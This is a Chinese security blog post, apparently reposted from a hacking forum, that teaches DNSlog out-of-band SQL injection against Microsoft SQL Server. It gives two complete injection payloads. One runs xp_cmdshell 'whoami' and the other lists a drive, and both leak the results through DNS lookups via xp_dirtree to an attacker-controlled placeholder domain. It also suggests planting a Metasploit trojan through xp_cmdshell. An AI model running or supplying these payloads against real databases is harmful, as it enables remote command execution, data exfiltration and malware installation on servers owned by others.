DNSlog注入初探

admin 2021年12月17日10:49:49安全文章评论103 views2050字阅读6分50秒阅读模式

from:https://forum.90sec.org/forum.php?mod=viewthread&tid=9675

关于dnslog注入的文章和工具也有不少了,估计实际用的人还是比较少。
原理主要是windows访问文件的特性
比如我们可以访问公网上共享的机器  \8.8.8.8sys.log  
这个ip 可以改成我们的domain,而在做domain查询的时候,我们可以记录domain的查询记录,因此可以通过这个技巧将要读取的数据发送到dns日志里


假如我有一个域名 A.com 做了dnslog记录,
当有人查询 b.a.com的时候,我的日志里会出现某个时间点谁查询了我的二级域名 b.a.com

在注入的时候,服务器不显示错误,我们可以把我们要读取的数据发送动dns记录里,比如我想读取@@version  
那我在数据库上做一个 @@version.a.com (这里变量要根据实际情况做下编码或者转义)


以MSSQL 2008 为例,我利用dnslog 读取执行命令的回显,,
create/**/table/**/dirs(paths/**/varchar(100)/**/);
insert/**/dirs/**/exec/**/master.dbo.xp_cmdshell/**/'whoami';
DECLARE/**/@host/**/varchar(1024);SELECT/**/@host=(select/**/top/**/1/**/paths/**/from/**/dirs)+'.A.COM';
select/**/@host=/**/Replace(@host,' ',''); --将返回值的空格替换
select/**/@host=/**/Replace(@host,'','00');--将斜杠替换成00
select/**/@host=/**/'\'[email protected]+'$foo';EXEC/**/master..xp_dirtree/**//**/@host,1,1   ---

步骤大概就是 :
1 建立表格,将执行命令的结果插入到数据库里 (本例主要是做演示,插入表的地方还得自己优化一下,以便结果查询)
2 读取数据库里的命令结果,并做一些处理,再通过 xp_dirtree 查询dns,因此dnslog里会有一条包含结果的查询

DNSlog注入初探
如上图,域名前的一串字符就是我们想要得到的返回结果。。


再发一个列目录的demo

drop/**/table/**/dirs;
create/**/table/**/dirs(path/**/varchar(2000),dirs/**/varchar(1000),id/**/int/**/not/**/null/**/identity(1,1));
insert/**/dirs/**/exec/**/master.dbo.xp_dirtree/**/'d:',1;
DECLARE/**/@host/**/varchar(1024);
SELECT/**/@host=(select/**/top/**/1/**/path/**/from/**/dirs/**/where/**/id=1)+'.A.COM';select/**/@host=/**/Replace(@host,' ','');
select/**/@host=/**/Replace(@host,'','00');select/**/@host=/**/'\'[email protected]+'$foo';EXEC/**/master..xp_dirtree/**//**/@host,1,1   ---

将A.COM替换成你自己的域名测试。。


比较鸡肋的是dnslog查询日志,这个特性只能在windows下使用?
如果细心的你仔细观察可以发现,windows 下它主要利用xp_dirtree 进行dns查询(当然你也可以利用xp_cmdshell 利用命令 ping XXX.A.COM 这种方式查询),
但我们知道2005以后xp_dirtree (xp_cmdshell是要sa权限才能调用)默认是禁用了,你得拥有sa权限才能执行。


题外话,
在mssql sa权限下,其实你可以不必这样来弄,直接通过xp_cmdshel这个命令,把msfexploit的马写到服务器上,再运行一下(当然你要人品好,服务器上没360这些奇葩什么的)。


其它的mysql 和 oracle ,postgresql的相关资料
http://docs.hackinglab.cn/HawkEye-Log-Dns-Sqli.html

之前乌云有一篇不错的文章,大家可以百度下,看看快照。

本文始发于微信公众号(关注安全技术):DNSlog 注入初探

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月17日10:49:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  DNSlog注入初探 https://cn-sec.com/archives/502245.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: